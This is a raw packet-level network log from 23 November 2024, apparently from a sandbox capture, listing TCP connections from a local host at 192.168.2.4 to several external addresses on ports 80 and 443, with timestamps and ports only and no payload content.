Nov 23, 2024 15:22:34.053287029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.054152012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.054214001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.054260969 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.054419041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.055335999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.055397987 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.055465937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.055521011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.056193113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.056267023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.056317091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.056389093 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.057261944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.057343006 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.057478905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.058306932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.058423042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.058455944 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.059345961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.059412003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.059453011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.059818983 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.060390949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.060512066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.060616016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.061383963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.062120914 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.199094057 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.199132919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.199184895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.199184895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.199522018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.199573994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.199649096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.200525999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.200592041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.200614929 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.200685978 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.201534033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.201622009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.201844931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.201905012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.202056885 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.202110052 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.202981949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.203035116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.203057051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.203159094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.203955889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.204009056 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.204014063 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.204061031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.204988003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.205085039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.205121994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.205223083 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.206044912 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.206178904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.206183910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.206300020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.207096100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.207149029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.207155943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.207261086 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.208137035 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.208197117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.208321095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.208540916 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.209180117 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.209270000 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.209336042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.209474087 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.210211039 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.210333109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.210376024 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.210407972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.211241961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.211309910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.211368084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.211441040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.212285042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.212363005 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.212398052 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.212460041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.213326931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.213424921 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.213500977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.213629007 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.214370012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.214479923 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.214551926 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.214551926 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.215416908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.215543985 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.215615034 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.216475010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.216569901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.216593027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.216651917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.217525959 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.217617989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.217691898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.217746019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.218636990 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.218796015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.672733068 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.673197031 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.673213959 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.673640013 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.673645973 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.691169977 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:34.691235065 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:34.692339897 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:34.692346096 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:34.692552090 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:34.693624973 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:34.693773031 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:34.693804979 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:34.693953991 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:34.693960905 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:34.747936010 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.750286102 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.750302076 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.750988960 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.750993967 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.765008926 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.768820047 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.768834114 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.769601107 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.769604921 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.852353096 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.853463888 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.853482008 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.853852034 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.853857994 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.860846996 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.861151934 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.861161947 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:34.861507893 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:34.861511946 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.115546942 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.115690947 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.115860939 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.116103888 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.116136074 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.116152048 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.116159916 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.119374990 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.119461060 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.119601011 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.119726896 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.119755983 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.177571058 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.179732084 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.179740906 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.180402994 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.180407047 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.180425882 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.180432081 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.191839933 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.191915035 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.191998005 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.192281008 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.192290068 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.192313910 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.192317963 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.197963953 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.198115110 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.198174000 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.198816061 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.198829889 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.198920965 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.199412107 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.199430943 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.199451923 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.199459076 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.199584961 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.199594975 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.205049992 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.205095053 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.205178022 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.205787897 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.205805063 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.297468901 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.297549009 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.297760963 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.297894955 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.297904015 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.297913074 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.297916889 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.299817085 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.299830914 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.299978971 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.300127983 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.300137043 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.304017067 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.304188967 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.304244995 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.304277897 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.304284096 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.304296970 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.304300070 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.305958033 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.305984020 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.306067944 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.306180954 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:35.306211948 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:35.668718100 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:35.668812990 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:35.668905973 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:35.720880032 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:35.720904112 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:35.932142973 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.932207108 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.932244062 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.932305098 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.932321072 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.932337046 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.939587116 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.939765930 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.978390932 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.978410959 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:35.978423119 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:35.978427887 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:36.031474113 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:36.031557083 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:36.031687975 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:36.032301903 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:36.032336950 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:36.462996006 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:36.463268042 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:36.583019018 CET	80	49846	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:36.583096981 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:36.583131075 CET	80	49815	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:36.583179951 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:36.584073067 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:36.703574896 CET	80	49846	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:36.840713978 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.841533899 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.841594934 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.841979980 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.841996908 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.931723118 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.933446884 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.933476925 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.933979034 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.933984995 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.936460972 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.936856031 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.936878920 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:36.937242031 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:36.937247992 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.147349119 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.154470921 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.163330078 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.163341045 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.163710117 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.163713932 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.164045095 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.164057970 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.164376020 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.164383888 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.280421019 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.280468941 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.280534983 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.280569077 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.280602932 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.280653000 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.280786037 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.280813932 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.284765005 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.284790039 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.284847975 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.288264990 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.288278103 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.367677927 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:37.367741108 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:37.368475914 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.368542910 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.368665934 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.369440079 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:37.369457006 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:37.369621038 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.369648933 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.369657993 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.369663000 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.369796991 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:37.371212006 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:37.371356010 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:37.371402979 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:37.373107910 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.373203993 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.373470068 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.374416113 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.374428988 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.374696970 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.374706984 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.374732018 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.376564026 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.376646996 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.376807928 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.376897097 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.376904964 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.377199888 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.377237082 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.603889942 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.603955030 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.604135036 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.604146004 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.606013060 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.606111050 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.611140966 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.611166954 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.611216068 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.611228943 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.612855911 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.615731955 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.615782022 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.615822077 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.626544952 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.626552105 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.629235983 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.629251003 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.629260063 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.629265070 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.631176949 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631186008 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.631264925 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631436110 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631450891 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631460905 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.631494999 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.631556988 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631656885 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:37.631681919 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:37.824027061 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:37.916001081 CET	80	49846	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:37.916106939 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:37.918868065 CET	49823	80	192.168.2.4	185.215.113.16
